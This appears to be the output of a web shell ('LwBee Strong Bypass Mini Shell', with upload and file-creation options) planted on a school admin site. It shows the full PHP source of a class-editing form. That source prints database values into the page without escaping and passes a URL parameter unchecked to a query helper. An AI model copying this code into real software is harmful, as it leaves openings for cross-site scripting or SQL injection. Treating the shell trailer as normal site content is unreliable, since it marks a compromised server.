/home3/vehiclea/public_html/admin-appleiitfoundationschools-com/class_edit.php
<?php
  include('include/header.php');
  if(!empty($_GET['edit'])){
    $select = select_classData($_GET['edit']);
    $branch = mysqli_fetch_array($select);
}

 
?>


  <main id="main" class="main">

    <div class="pagetitle">
  <h1>Apple IIT Schools</h1>
      <nav>
        <ol class="breadcrumb">
      <li class="breadcrumb-item"><a href="index.php">Home</a></li>
      <li class="breadcrumb-item ">Update Class List</li>
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Update Class List</h5>

               <?php
 if(!empty($_POST['submit'])){
    class_editData();
}
  
?>
    <form  method="post" onsubmit="return book_validation()"> 
      <div class="row">
          <div class="col-md-6">
            <label for="exampleInputEmail1" class="form-label">Class Name</label>
            <input type="text" class="form-control" id="name" name="name" value="<?= $branch['name']?>">
            
        </div>
         
      </div>
        <input type="hidden" name="edit_data" value="<?= $branch['id']?>">
        <div class="mt-4">
        <input type="submit" class="btn" value="Update" name="submit" style="background-color: #69F0AE; color: #000000;">
        <a href="class.php" style="background-color:#7E57C2; color: #ffff;" class="btn">Back</a>
        </div>
        
    </form>



               

            </div>
          </div>

        </div>
      </div>
    </section>

  </main> 
 
<script src="https://code.jquery.com/jquery-1.11.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/jquery.validate.min.js"></script>
<script src="https://cdn.jsdelivr.net/jquery.validation/1.16.0/additional-methods.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>

  <script>
    function book_validation()
    {
      
        var branchname = $('#branch_name').val();
        var academic = $('#academic').val();
       
        if(branchname == '')
        {
          swal('Please Enter Branch Name');
          return false;
        }
      
       
        else{
          return true;
        }
    }
  </script>


  <?php  include('include/footer.php'); ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File